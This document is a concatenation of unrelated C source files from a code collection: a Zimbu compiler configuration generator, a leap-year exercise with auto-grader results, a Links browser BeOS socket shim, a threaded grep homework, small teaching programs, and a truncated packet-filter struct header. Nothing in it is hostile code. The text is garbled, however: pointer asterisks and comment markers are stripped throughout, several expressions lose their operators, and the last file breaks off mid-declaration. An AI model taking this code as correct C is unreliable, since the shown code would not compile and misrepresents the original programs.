Zdeadly); # endif # ifdef SIGBUS CATCH_SIG(SIGBUS, Zdeadly); # endif # ifdef SIGFPE CATCH_SIG(SIGFPE, Zdeadly); # endif #endif #if defined(__MINGW32__) \|\| defined(_MSC_VER) # ifdef __MINGW32__ _fmode = _O_BINARY; # else _set_fmode(_O_BINARY); # endif _setmode(_fileno(stdin), _O_BINARY); _setmode(_fileno(stdout), _O_BINARY); _setmode(_fileno(stderr), _O_BINARY); #endif emergencyAlloc = malloc(16384); ZimtInit(); ZglobInit(round++); ZglobInit(round++); while (!ZglobInit(round++)) { if (round == 1002) ZthrowCstringInit("Early initialization not done within 1000 rounds"); } round = 2001; ZglobInit(round++); while (!ZglobInit(round++)) { if (round == 3002) ZthrowCstringInit("Initialization not done within 1000 rounds"); } r = Fmain(); beforeExit(); if (topFrame != NULL) fprintf(stderr, "INTERNAL: topFrame not NULL\n"); return r; } int Fmain(void) { Tb VhaveResolve; Tb VhaveFork; Tb VhaveSigaction; Tb VgcWithThreads; Tb VisMingw; Ti VshortSize; Ti VintSize; Ti VlongSize; Ti VlongLongSize; Ti VunsShortSize; Ti VunsIntSize; Ti VunsLongSize; Ti VunsLongLongSize; Ti VptrSize; Ti VfloatSize; Ti VdoubleSize; Ti VvoidPtrSize; Zsf sf; Ti r = 0; YNdL VzimbuConfig = 0; Tc Vfound = NULL; Tl Zf1 = NULL; Tc Vdir = NULL; Tl Zf2 = NULL; Tc Vs = NULL; Tc VthreadArg = NULL; Tc VsocketArg = NULL; Tc VmathArg = NULL; Tc VintType = NULL; Tc VprintIntFormat = NULL; Tc VscanfHexFormat = NULL; Tc VprintNatFormat = NULL; Tc VnatType = NULL; Tc VintPtrName = NULL; Tc VexeSuffix = NULL; Tc VexePrefix = NULL; Tr Vwriter = {NULL}; Tc Vconfig = NULL; Tl t0 = NULL; int rt = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; r = 0; sf.pos=527000; VzimbuConfig = YA_Z(NULL); sf.pos=527001; { Tfl Zf1i; Zf1 = (t0 = ZnewList((Tt)&string__T, 7), ZLap((Tl)t0, (Tz)(void)((Tc)&Yj_i)), ZLap((Tl)t0, (Tz)(void)((Tc)&YftF)), ZLap((Tl)t0, (Tz)(void)((Tc)&YK0f)), ZLap((Tl)t0, (Tz)(void)((Tc)&YIMX)), ZLap((Tl)t0, (Tz)(void)((Tc)&YDCH)), ZLap((Tl)t0, (Tz)(void)((Tc)&YYHU)), ZLap((Tl)t0, (Tz)(void)((Tc)&YGiO))); Zf1i.l = Zf1; Zf1i.valp = (void)&Vdir; Zf1i.i = 0; for (; ZforListPtrCont(&Zf1i); ) { sf.pos=527002; { Tfl Zf2i; Zf2 = (t0 = ZnewList((Tt)&string__T, 2), ZLap((Tl)t0, (Tz)(void)((Tc)&Y912)), ZLap((Tl)t0, (Tz)(void)((Tc)&Y56Y))); Zf2i.l = Zf2; Zf2i.valp = (void)&Vs; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=527003; if (Y0YB(ZcS5(Vdir, ((Tc)&YK0f), Vs, ((Tc)&YEk4), (Tc)1))) { sf.pos=527004; Vfound = Vs; rt = 2; goto YCc4; } YCc4: if (rt == 2) { rt &= 1; break; } sf.pos=527005; } } sf.pos=527006; if ((Vfound != NULL)) { rt = 2; goto YPyu; } YPyu: if (rt == 2) { rt &= 1; break; } sf.pos=527007; } } sf.pos=527008; if ((Vfound != NULL)) { sf.pos=527009; YrF2(VzimbuConfig, ZcS(((Tc)&Y1ja), Vfound)); } else { sf.pos=527010; Yl0k(((Tc)&YbiD)); sf.pos=527011; Yl0k(((Tc)&Y51Q)); } sf.pos=527012; VthreadArg = ((Tc)&YglX); sf.pos=527013; VmathArg = ((Tc)&YtA1); sf.pos=527014; #if defined(__MINGW32__) VthreadArg = Zstr("-lpthreadGC2"); VsocketArg = Zstr("-lws2_32"); #endif sf.pos=527015; YOPG(VzimbuConfig, VthreadArg); sf.pos=527016; if ((VsocketArg != NULL)) { sf.pos=527017; YWoP(VzimbuConfig, VsocketArg); } sf.pos=527018; Yjrt(VzimbuConfig, VmathArg); VhaveResolve = 0; VhaveFork = 0; VhaveSigaction = 0; VgcWithThreads = 0; sf.pos=527019; #ifdef __MINGW32__ VhaveResolve = 0; VhaveFork = 0; VhaveSigaction = 0; VgcWithThreads = 0; #else VhaveResolve = 1; VhaveFork = 1; VhaveSigaction = 1; VgcWithThreads = 1; #endif sf.pos=527020; Yqt5(VzimbuConfig, VhaveResolve); sf.pos=527021; YBhB(VzimbuConfig, VhaveFork); sf.pos=527022; Y118(VzimbuConfig, VhaveSigaction); sf.pos=527023; YEDn(VzimbuConfig, VgcWithThreads); VisMingw = 0; sf.pos=527024; #ifdef __MINGW32__ VisMingw = 1; #endif sf.pos=527025; YeB5(VzimbuConfig, VisMingw); VshortSize = 0; VintSize = 0; VlongSize = 0; VlongLongSize = 0; VunsShortSize = 0; VunsIntSize = 0; VunsLongSize = 0; VunsLongLongSize = 0; VptrSize = 0; VfloatSize = 0; VdoubleSize = 0; VvoidPtrSize = 0; sf.pos=527026; VshortSize = sizeof(short); VintSize = sizeof(int); VlongSize = sizeof(long); VlongLongSize = sizeof(long long); VunsShortSize = sizeof(unsigned short); VunsIntSize = sizeof(unsigned int); VunsLongSize = sizeof(unsigned long); VunsLongLongSize = sizeof(unsigned long long); VfloatSize = sizeof(float); VdoubleSize = sizeof(double); VvoidPtrSize = sizeof(void); sf.pos=527027; YIIX(VzimbuConfig, ((Tc)&YX_1)); sf.pos=527028; if ((VshortSize != 2)) { sf.pos=527029; Yl0k(ZcS3(((Tc)&Y8PB), (Zint2string((VshortSize * 8))), ((Tc)&YMSv))); } sf.pos=527030; if ((VintSize == 4)) { sf.pos=527031; Y8TB(VzimbuConfig, ((Tc)&Y1Qt)); } else { sf.pos=527032; if ((VlongSize == 4)) { sf.pos=527033; Y8TB(VzimbuConfig, ((Tc)&YDFJ)); } else { sf.pos=527034; Y8TB(VzimbuConfig, ((Tc)&Y1Qt)); sf.pos=527035; Yl0k(ZcS3(((Tc)&Ynz4), (Zint2string((VintSize 8))), ((Tc)&YMSv))); } } sf.pos=527036; VintType = ((Tc)&YDR5); sf.pos=527037; #ifdef __MINGW32__ sf.pos=527038; VprintIntFormat = ((Tc)&YmXc); sf.pos=527039; VscanfHexFormat = ((Tc)&YGXc); sf.pos=527040; VprintNatFormat = ((Tc)&YDXc); sf.pos=527041; #else sf.pos=527042; VprintIntFormat = ((Tc)&YKd3); sf.pos=527043; VscanfHexFormat = ((Tc)&Y3d3); sf.pos=527044; VprintNatFormat = ((Tc)&Y0d3); sf.pos=527045; #endif sf.pos=527046; if ((VlongLongSize == 8)) { } else { sf.pos=527047; if ((VlongSize == 8)) { sf.pos=527048; VintType = ((Tc)&YDFJ); sf.pos=527049; VprintIntFormat = ((Tc)&YY0H); sf.pos=527050; VscanfHexFormat = ((Tc)&Yh1H); sf.pos=527051; VprintIntFormat = ((Tc)&YY0H); } else { sf.pos=527052; if ((VintSize == 8)) { sf.pos=527053; VintType = ((Tc)&Y1Qt); sf.pos=527054; VprintIntFormat = ((Tc)&Y46); sf.pos=527055; VscanfHexFormat = ((Tc)&Yo7); } else { sf.pos=527056; Yl0k(ZcS3(((Tc)&Y0OX), (Zint2string((VlongLongSize * 8))), ((Tc)&YMSv))); } }} sf.pos=527057; Y6PM(VzimbuConfig, VintType); sf.pos=527058; YUld(VzimbuConfig, VprintIntFormat); sf.pos=527059; YRMv(VzimbuConfig, VscanfHexFormat); sf.pos=527060; YXzR(VzimbuConfig, ((Tc)&YFcv)); sf.pos=527061; if ((VunsShortSize != 2)) { sf.pos=527062; Yl0k(ZcS3(((Tc)&YTwi), (Zint2string((VunsShortSize 8))), ((Tc)&YMSv))); } sf.pos=527063; if ((VunsIntSize == 4)) { sf.pos=527064; YnLv(VzimbuConfig, ((Tc)&YVjT)); } else { sf.pos=527065; if ((VunsLongSize == 4)) { sf.pos=527066; YnLv(VzimbuConfig, ((Tc)&YOaN)); } else { sf.pos=527067; YnLv(VzimbuConfig, ((Tc)&YVjT)); sf.pos=527068; Yl0k(ZcS3(((Tc)&YENP), (Zint2string((VunsIntSize 8))), ((Tc)&YMSv))); } } sf.pos=527069; VnatType = ((Tc)&Y2BO); sf.pos=527070; if ((VunsLongLongSize == 8)) { } else { sf.pos=527071; if ((VunsLongSize == 8)) { sf.pos=527072; VnatType = ((Tc)&YOaN); sf.pos=527073; VprintNatFormat = ((Tc)&Ye1H); } else { sf.pos=527074; if ((VunsIntSize == 8)) { sf.pos=527075; VnatType = ((Tc)&YVjT); sf.pos=527076; VprintNatFormat = ((Tc)&Yl7); } else { sf.pos=527077; Yl0k(ZcS3(((Tc)&YfGK), (Zint2string((VunsLongLongSize 8))), ((Tc)&YMSv))); } }} sf.pos=527078; YlHG(VzimbuConfig, VnatType); sf.pos=527079; Y8c7(VzimbuConfig, VprintNatFormat); sf.pos=527080; Yla2(VzimbuConfig, ((Tc)&Ygep)); sf.pos=527081; if ((VdoubleSize != 8)) { sf.pos=527082; Yl0k(ZcS3(((Tc)&Y_4L), (Zint2string((VdoubleSize 8))), ((Tc)&YMSv))); } sf.pos=527083; YI4N(VzimbuConfig, ((Tc)&Yt7n)); sf.pos=527084; if ((VfloatSize != 4)) { sf.pos=527085; Yl0k(ZcS3(((Tc)&YhOJ), (Zint2string((VfloatSize 8))), ((Tc)&YMSv))); } sf.pos=527086; #ifdef __INTPTR_TYPE__ sf.pos=527087; VintPtrName = ((Tc)&YlTN); sf.pos=527088; #else # ifdef __SIZEOF_POINTER__ # if __SIZEOF_POINTER__ == __SIZEOF_INT__ sf.pos=527089; VintPtrName = ((Tc)&Y1Qt); sf.pos=527090; # else # if __SIZEOF_POINTER__ == __SIZEOF_LONG__ sf.pos=527091; VintPtrName = ((Tc)&YDFJ); sf.pos=527092; # else sf.pos=527093; VintPtrName = ((Tc)&YDR5); sf.pos=527094; # endif # endif # else sf.pos=527095; VintPtrName = ((Tc)&YDFJ); sf.pos=527096; # endif #endif sf.pos=527097; YJ6V(VzimbuConfig, VintPtrName); sf.pos=527098; VexeSuffix = ((Tc)&Ya); sf.pos=527099; VexePrefix = ((Tc)&YFka); sf.pos=527100; #if defined(__MINGW32__) \|\| defined(_MSC_VER) VexeSuffix = Zstr(".exe"); /* set to ".exe" for MS-Windows / VexePrefix = Zstr(""); / set to "" for MS-Windows / #endif sf.pos=527101; YNXX(VzimbuConfig, VexeSuffix); sf.pos=527102; YcU3(VzimbuConfig, VexePrefix); sf.pos=527103; Vwriter = YiBk(((Tc)&Ys1d), 1); sf.pos=527104; Vconfig = YNdL__YC5i(VzimbuConfig); sf.pos=527105; ((Ts ()(void, Tc))(Vwriter.table[1]))(Vwriter.ptr, Vconfig); sf.pos=527106; Yl0k(((Tc)&YLmd)); sf.pos=527107; Yl0k(Vconfig); sf.pos=527108; r = 0; topFrame = sf.prev; return r; }
the_stack_data/47455.c	/numPass=8, numTotal=8 Verdict:ACCEPTED, Visibility:1, Input:"1004", ExpOutput:"Leap Year", Output:"Leap Year" Verdict:ACCEPTED, Visibility:1, Input:"2009", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:1, Input:"2012", ExpOutput:"Leap Year", Output:"Leap Year" Verdict:ACCEPTED, Visibility:1, Input:"2115", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:0, Input:"1000", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:0, Input:"1700", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:0, Input:"1900", ExpOutput:"Not Leap Year", Output:"Not Leap Year" Verdict:ACCEPTED, Visibility:0, Input:"2000", ExpOutput:"Leap Year", Output:"Leap Year" / #include<stdio.h> int main() { int a; scanf("%d",&a); if (a%4==0){ if (a%100==0){ if (a%400==0){ printf("Leap Year"); }else{ printf("Not Leap Year"); } }else{ printf("Leap Year"); } }else{ printf("Not Leap Year"); } return 0; }
the_stack_data/187642172.c	/* beos.c * (c) 2002 Mikulas Patocka * This file is a part of the Links program, released under GPL / #if defined(__BEOS__) \|\| defined(__HAIKU__) #include "com-defs.h" #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <be/kernel/OS.h> #define SHS 128 #ifndef MAXINT #define MAXINT 0x7fffffff #endif #ifdef __HAIKU__ int closesocket(int); #endif #include "beos.h" int be_read(int s, void ptr, int len) { if (s >= SHS) return recv(s - SHS, ptr, len, 0); return read(s, ptr, len); } int be_write(int s, void ptr, int len) { if (s >= SHS) return send(s - SHS, ptr, len, 0); return write(s, ptr, len); } int be_close(int s) { if (s >= SHS) return closesocket(s - SHS); return close(s); } int be_socket(int af, int sock, int prot) { int h = socket(af, sock, prot); if (h < 0) return h; return h + SHS; } int be_connect(int s, struct sockaddr sa, int sal) { return connect(s - SHS, sa, sal); } int be_getpeername(int s, struct sockaddr sa, int sal) { return getpeername(s - SHS, sa, sal); } int be_getsockname(int s, struct sockaddr sa, int sal) { return getsockname(s - SHS, sa, sal); } int be_listen(int s, int c) { return listen(s - SHS, c); } int be_accept(int s, struct sockaddr sa, int sal) { int a = accept(s - SHS, sa, sal); if (a < 0) return -1; return a + SHS; } int be_bind(int s, struct sockaddr sa, int sal) { /struct sockaddr_in sin = (struct sockaddr_in )sa; if (!ntohs(sin->sin_port)) { int i; for (i = 16384; i < 49152; i++) { sin->sin_port = htons(i); if (!be_bind(s, sa, sal)) return 0; } return -1; }/ if (bind(s - SHS, sa, sal)) return -1; getsockname(s - SHS, sa, &sal); return 0; } #define PIPE_RETRIES 10 int be_pipe(int fd) { int s1, s2, s3, l; struct sockaddr_in sa1, sa2; int retry_count = 0; again: if ((s1 = be_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { /perror("socket1");/ goto fatal_retry; } if ((s2 = be_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { /perror("socket2");/ be_close(s1); goto fatal_retry; } memset(&sa1, 0, sizeof(sa1)); sa1.sin_family = AF_INET; sa1.sin_port = htons(0); sa1.sin_addr.s_addr = INADDR_ANY; if (be_bind(s1, (struct sockaddr )&sa1, sizeof(sa1))) { /perror("bind");/ clo: be_close(s1); be_close(s2); goto fatal_retry; } if (be_listen(s1, 1)) { /perror("listen");/ goto clo; } if (be_connect(s2, (struct sockaddr )&sa1, sizeof(sa1))) { /perror("connect");/ goto clo; } l = sizeof(sa2); if ((s3 = be_accept(s1, (struct sockaddr )&sa2, &l)) < 0) { /perror("accept");/ goto clo; } be_getsockname(s3, (struct sockaddr )&sa1, &l); if (sa1.sin_addr.s_addr != sa2.sin_addr.s_addr) { be_close(s3); goto clo; } be_close(s1); fd[0] = s2; fd[1] = s3; return 0; fatal_retry: if (++retry_count > PIPE_RETRIES) return -1; sleep(1); goto again; } int be_select(int n, struct fd_set rd, struct fd_set wr, struct fd_set exc, struct timeval tm) { int i, s; struct fd_set d, rrd; retry: FD_ZERO(&d); if (!rd) rd = &d; if (!wr) wr = &d; if (!exc) exc = &d; if (n >= FD_SETSIZE) n = FD_SETSIZE; FD_ZERO(exc); for (i = 0; i < n; i++) if ((i < SHS && FD_ISSET(i, rd)) \|\| FD_ISSET(i, wr)) { for (i = SHS; i < n; i++) FD_CLR(i, rd); return MAXINT; } FD_ZERO(&rrd); for (i = SHS; i < n; i++) if (FD_ISSET(i, rd)) FD_SET(i - SHS, &rrd); if ((s = select(FD_SETSIZE, &rrd, &d, &d, tm)) < 0) { if (errno == EINTR) goto retry; FD_ZERO(rd); return 0; } FD_ZERO(rd); for (i = SHS; i < n; i++) if (FD_ISSET(i - SHS, &rrd)) FD_SET(i, rd); return s; } #ifndef SO_ERROR #define SO_ERROR 10001 #endif int be_getsockopt(int s, int level, int optname, void optval, int optlen) { if (optname == SO_ERROR && optlen >= sizeof(int)) { (int )optval = 0; optlen = sizeof(int); return 0; } return -1; } static int ihpipe[2]; static int inth; static void input_handle_th(void p) { char c; int b = 0; setsockopt(ihpipe[1], SOL_SOCKET, SO_NONBLOCK, &b, sizeof(b)); while (1) if (read(0, &c, 1) == 1) be_write(ihpipe[1], &c, 1); } int get_input_handle(void) { static int h = -1; if (h >= 0) return h; if (be_pipe(ihpipe) < 0) return -1; if ((inth = start_thr(input_handle_th, NULL, "input_thread")) < 0) { closesocket(ihpipe[0]); closesocket(ihpipe[1]); fatal_exit("Can't spawn input thread"); } return h = ihpipe[0]; } void block_stdin(void) { suspend_thread(inth); } void unblock_stdin(void) { resume_thread(inth); } /int ohpipe[2]; #define O_BUF 16384 static void output_handle_th(void p) { char c = malloc(O_BUF); int r, b = 0; if (!c) return; setsockopt(ohpipe[1], SOL_SOCKET, SO_NONBLOCK, &b, sizeof(b)); while ((r = be_read(ohpipe[0], c, O_BUF)) > 0) write(1, c, r); free(c); } int get_output_handle(void) { static int h = -1; if (h >= 0) return h; if (be_pipe(ohpipe) < 0) return -1; if (start_thr(output_handle_th, NULL, "output_thread") < 0) { closesocket(ohpipe[0]); closesocket(ohpipe[1]); fatal_exit("Can't spawn output thread"); } return h = ohpipe[1]; }*/ #else typedef int beos_c_no_empty_unit; #endif
the_stack_data/1159877.c	/***************************************************************************** * HW4_161044086_Efkan_Duraklı * * System Programming - grepTh using Semaphores and PIPES * * Date: 28.04.2017 * * ****************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/wait.h> #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/time.h> #include <pthread.h> #include <semaphore.h> #define PERMS (S_IRUSR \| S_IWUSR) #define WRITE_FLAGS (O_WRONLY \| O_CREAT \| O_TRUNC) #define WHITESPACE ch == '\t' \|\| ch == ' ' \|\| ch == '\n' #define SEM_PERMS (mode_t)(S_IRUSR \| S_IWUSR \| S_IRGRP \| S_IROTH) #define FLAGS (O_CREAT \| O_EXCL) / thread fonksiyonuna gönderilecek parametreler için struct/ typedef struct { char fileName[25]; char string[25]; int totalOccurence[1]; } threadParams_t; / ekrana basılacak total değerler için struct/ typedef struct { int numberOfFile; int numberOfDirectory; int numberOfLine; int totalOccurence; }total_t; int seacrchInFile(const char fileName, const char string); void grepWithThread(void arg); int searchInDirectory(const char pathName, const char string); int destroynamed(char name, sem_t sem); int getnamed(char name, sem_t ** sem, int val); int isDirectory(char pathName); int isRegularFile(const char fileName); pid_t r_wait(int stat_loc); ssize_t r_write(int fd, void buf, size_t size); ssize_t r_read(int fd, void buf, size_t size); int r_close(int fildes); total_t total; int fdLog = 0; int isParent = 1; int totalWord = 0; int cascadeThread = 0; static int maxThread = 0; static int counter = 0; pid_t mainPid = 0; struct timeval end; struct timeval start; long timedif; static sem_t sem; static void signal_handler(int signo) { if (signo == SIGUSR1) counter++; else if (signo == SIGUSR2) counter--; if (counter > maxThread) maxThread = counter; if (signo == SIGINT) { if (isParent) { / Ctrl + c sinyali geldiği durumda child proceslerin ölmesi beklenir ve ekrana gerekli bilgiler yazılır./ while(r_wait(NULL) != -1); printf("Total number of strings found :%d\n", totalWord); printf("Number of directory searched: %d\n", total.numberOfDirectory+1); printf("Number of files searched: %d\n", total.numberOfFile); printf("Number of lines searched: %d\n", total.numberOfLine); printf("Number of cascade threads: %d\n", cascadeThread); printf("Number of search threads created: %d\n", total.numberOfFile); printf("Maximum number of threads running concurrently: %d\n", maxThread); printf("Total runtime: %ld miliseconds.\n", timedif); printf("Exit condition: Due to SIGINT.\n"); r_close(fdLog); exit(1); } } } int main(int argc, char argv[]) { char str[25]; if (argc != 3) { /* command-line argüman sayısının kontrolü / fprintf(stderr, "Usage: %s string directoryname\n", argv[0]); return 1; } if ((fdLog = open("log.log", WRITE_FLAGS, PERMS)) == -1) { fprintf(stderr, "Faield to open %s. Error: %s\n", "log.log", strerror(errno)); return 1; } mainPid = getpid(); struct sigaction act; act.sa_handler = signal_handler; act.sa_flags = 0; if ((sigemptyset(&act.sa_mask) == -1) \|\| (sigaction(SIGUSR2, &act, NULL) == -1) \|\| (sigaction(SIGUSR1, &act, NULL) == -1) \|\| (sigaction(SIGINT, &act, NULL) == -1)) { perror("Failed to set Signal handler."); return 1; } / semaphorun initialize edilmesi / sem_init(&sem, 0, 1); sprintf(str, "Process ID\t\tThread ID\t\tFileName\n"); r_write(fdLog, str, sizeof(char)strlen(str)); gettimeofday(&start, NULL); totalWord = searchInDirectory(argv[2], argv[1]); gettimeofday(&end, NULL); timedif = 1000(end.tv_sec - start.tv_sec) + (end.tv_usec - start.tv_usec)/1000.0; if (totalWord == -1) { fprintf(stderr, "Number of directory serched: %d\n", total.numberOfDirectory+1); fprintf(stderr, "Number of files searched: %d\n", total.numberOfFile); fprintf(stderr, "Number of lines serched: %d\n", total.numberOfLine); fprintf(stderr, "Number of cascade threads: %d\n", cascadeThread); fprintf(stderr, "Number of search threads created: %d\n", total.numberOfFile); fprintf(stderr, "Maximum number of threads running concurrently: %d\n", maxThread); fprintf(stderr, "Total runtime: %ld miliseconds.\n", timedif); fprintf(stderr, "Exit condition: due to an error.Error: %s\n", strerror(errno)); r_close(fdLog); return 1; } sprintf(str, "%d %s were found in total.\n", totalWord, argv[1]); r_write(fdLog, str, sizeof(char)strlen(str)); printf("Total number of strings found :%d\n", totalWord); printf("Number of directory searched: %d\n", total.numberOfDirectory+1); printf("Number of files searched: %d\n", total.numberOfFile); printf("Number of lines searched: %d\n", total.numberOfLine); printf("Number of cascade threads: %d\n", cascadeThread); printf("Number of search threads created: %d\n", total.numberOfFile); printf("Maximum number of threads running concurrently: %d\n", maxThread); printf("Total runtime: %ld miliseconds.\n", timedif); printf("Exit condition: Normal.\n"); r_close(fdLog); return 0; } int searchInDirectory(const char pathName, const char string) { DIR dirp = NULL; struct dirent direntp = NULL; pid_t childpid = 0; int temp = NULL; total_t tempTotal; int i = 0; int j = 0; int fd[2]; int error = 0; threadParams_t thread[256] ; pthread_t tids[256]; pthread_t temptid = 0; char str[100]; / global total structın initialize edilmesi / total.totalOccurence = 0; total.numberOfFile = 0; total.numberOfDirectory = 0; total.numberOfLine = 0; / directoryler için oluşturduğum yeni proseslerin bilgilerini toplamak için pipe/ if (pipe(fd) == -1) { perror("Failed to create the pipe"); return -1; } if ((dirp = opendir(pathName)) == NULL) { fprintf(stderr, "Faield to open %s: %s\n", pathName, strerror(errno)); return -1; } chdir(pathName); while ((direntp = readdir(dirp)) != NULL) { if (strcmp(direntp->d_name, "..") != 0 && strcmp(direntp->d_name, ".") != 0) { if (isRegularFile(direntp->d_name)) { strcpy(thread[i].fileName, direntp->d_name); strcpy(thread[i].string, string); / her file için thread oluşturulur / if (error = pthread_create(&temptid, NULL, grepWithThread, thread+i)) { fprintf(stderr, "Failed to create thread: %s\n", strerror(error)); return -1; } tids[i] = temptid; total.numberOfFile++; i++; } else if (isDirectory(direntp->d_name)) { total.numberOfDirectory++; / her directory için yeni bir process oluşturulur./ if ((childpid = fork()) == -1) { perror("Failed to create fork"); return -1; } if (childpid == 0) { isParent = 0; r_close(fd[0]); total.totalOccurence = searchInDirectory(direntp->d_name, string); r_write(fd[1], &total, sizeof(total_t)); r_close(fd[1]); exit(0); } } } } closedir(dirp); / cascade thread sayısının alınması / if (total.numberOfFile > cascadeThread) cascadeThread = total.numberOfFile; if (childpid > 0) { r_close(fd[1]); while (r_wait(NULL) != -1) { r_read(fd[0], &tempTotal, sizeof(total_t)); total.totalOccurence += tempTotal.totalOccurence; total.numberOfFile += tempTotal.numberOfFile; total.numberOfDirectory += tempTotal.numberOfDirectory; total.numberOfLine += tempTotal.numberOfLine; } r_close(fd[0]); } j = i; / threadler beklenir ve return değerleri toplanır / for (i = 0; i < j; i++) { if (pthread_equal(tids[i], pthread_self())) continue; if (error = pthread_join(tids[i], (void )&temp)) { fprintf(stderr, "Failed to join thread %d %s\n", i+1, strerror(error)); continue; } if (temp == NULL) { fprintf(stderr, "Thread %d failed to return status\n",i+1); continue; } total.totalOccurence += temp; } dirp = NULL; direntp = NULL; temp = NULL; return total.totalOccurence; } /* file için çalışacak thread fonksiyonu / void grepWithThread(void arg) { / thread başladığını bildirmek için ana procese başladım sinyali gönderir./ kill(mainPid, SIGUSR1); threadParams_t thread = NULL; thread = (threadParams_t )arg; thread->totalOccurence[0] = seacrchInFile(thread->fileName, thread->string); / thread öldüğünü bildirmek için ana procese bittim sinyali gönderir./ kill(mainPid, SIGUSR2); return thread->totalOccurence; } int seacrchInFile(const char fileName, const char string) { FILE filePointer; int i = 0; int rowNumber = 1; int columnNUmber = 1; int totalOccurence = 0; int status = 0; char ch; char str[100]; if (NULL == (filePointer = fopen(fileName, "r"))) { fprintf(stderr, "File <%s> not found in directory\n", fileName); return -1; } for (ch = fgetc(filePointer); ch != EOF; ch = fgetc(filePointer)) { ++status; if (ch == '\n') { ++rowNumber; columnNUmber = 1; } for (i = 0; i < strlen(string); ++i) { if (ch == string[i]) { ch = fgetc(filePointer); while(WHITESPACE) ch = fgetc(filePointer); } else break; } if (i == strlen(string)) { sprintf(str, "%ld\t\t%ld\t\t%s:\t%s found in [%d,%d].\n", (long)getpid(), (long)pthread_self(), fileName, string, rowNumber, columnNUmber); r_write(fdLog, str, sizeof(char)strlen(str)); ++totalOccurence; } fseek(filePointer, status, SEEK_SET); if (ch != '\n') ++columnNUmber; } sem_wait(&sem); / critical section / total.numberOfLine += rowNumber; sem_post(&sem); fclose(filePointer); filePointer = NULL; return totalOccurence; } / aşağıdaki fonksiyonlar kitaptan alınmıştır/ int isDirectory(char pathName) { struct stat statbuf; if (stat(pathName, &statbuf) == -1) return 0; else return S_ISDIR(statbuf.st_mode); } int isRegularFile(const char pathName) { struct stat statbuf; if (stat(pathName, &statbuf) == -1) return 0; else return S_ISREG(statbuf.st_mode); } ssize_t r_read(int fd, void buf, size_t size) { ssize_t retval; while (retval = read(fd, buf, size), retval == -1 && errno == EINTR) ; return retval; } ssize_t r_write(int fd, void buf, size_t size) { char bufp; size_t bytestowrite; ssize_t byteswritten; size_t totalbytes; for (bufp = buf, bytestowrite = size, totalbytes = 0; bytestowrite > 0; bufp += byteswritten, bytestowrite -= byteswritten) { byteswritten = write(fd, bufp, bytestowrite); if ((byteswritten) == -1 && (errno != EINTR)) return -1; if (byteswritten == -1) byteswritten = 0; totalbytes += byteswritten; } return totalbytes; } pid_t r_wait(int *stat_loc) { pid_t retval; while (((retval = wait(stat_loc)) == -1) && (errno == EINTR)) ; return retval; } int r_close(int fildes) { int retval; while (retval = close(fildes), retval == -1 && errno == EINTR) ; return retval; }
the_stack_data/60313.c	/* * Program to remove trailing blanks and tabs from each line of input * Also deletes entirely blank lines * created by Anvesh G. Jhuboo * on Feb/5/21 / #include <stdio.h> #define MAXLINE 1000 / max input line length / char line[MAXLINE + 1]; int getline2(void); int main() { int len; / current line length / int head, tail, inn; / states / extern char line[]; / current input line */ while ((len = getline2()) > 0) { for (head = 0; line[head] == ' ' \|\| line[head] == '\t'; head++); for (tail = len; line[tail] == ' ' \|\| line[tail] == '\t' \|\| line[tail] == '\n' \|\| line[tail] == '\0'; tail--); if (tail - head >= 0) { for (inn = head; inn <= tail; inn++) putchar(line[inn]); putchar('\n'); putchar('\0'); } } } int getline2(void) { extern char line[]; int c, i; for (i = 0; i < MAXLINE-1 && (c = getchar()) != EOF && c != '\n'; i++) line[i] = c; if (c == '\n') { line[i] = c; ++i; } line[i] = '\0'; return i; }
the_stack_data/151320.c	#include <stdio.h> int main(){ int n=3; for(int i=0; i<n; i++){ for(int j=0; j<=n-i-1; j++){ printf(" "); } for(int j=n-i; j<=n; j++){ printf("%d ",j); } printf("\n"); } for(int i=n; i>=0; i--){ for(int j=0; j<=n-i-1; j++){ printf(" "); } for(int j=n-i; j<=n; j++){ printf("%d ",j); } printf("\n"); } }
the_stack_data/59691.c	/** * file: gcd.c * * Iteratively computing the greatest common divisor of two integers. * * Euclidean algorithm: * gcd(a, b) = gcd(b, a % b) * * Created by hengxin on 11/13/21. */ #include <stdio.h> int GCD(int a, int b); int main() { int a = 130; int b = 124; printf("gcd(%d, %d) = %d\n", a, b, GCD(a, b)); return 0; } int GCD(int a, int b) { while (b != 0) { int tmp = a; a = b; b = tmp % b; } return a; }
the_stack_data/1796.c	#define NULL ((void)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. / By default, we understand bool (as a convenience). / typedef int bool; #define false 0 #define true 1 / Forward declarations / typedef struct TYPE_12__ TYPE_6__ ; typedef struct TYPE_11__ TYPE_5__ ; typedef struct TYPE_10__ TYPE_4__ ; typedef struct TYPE_9__ TYPE_3__ ; typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; / Type definitions / struct protoent {char p_name; } ; struct TYPE_11__ {int /<<< orphan/ * proxy_port; } ; struct TYPE_10__ {scalar_t__ port; int /<<< orphan/ addr; } ; struct TYPE_9__ {int limit; int seconds; } ; struct TYPE_8__ {int /<<< orphan/ * gid; scalar_t__ op; } ; struct TYPE_7__ {int /<<< orphan/ * uid; scalar_t__ op; } ; struct pf_rule {int nr; int action; int rule_flag; int return_ttl; int return_icmp; int return_icmp6; int af; scalar_t__ direction; int log; int logif; char* ifname; scalar_t__ rt; int proto; scalar_t__ keep_state; int type; int code; int tos; scalar_t__ prio; int scrub_flags; int* set_prio; double prob; int max_states; int max_src_nodes; int max_src_states; int* timeout; int max_src_conn; char* overload_tblname; int flush; int min_ttl; int max_mss; int set_tos; char* label; char* qname; 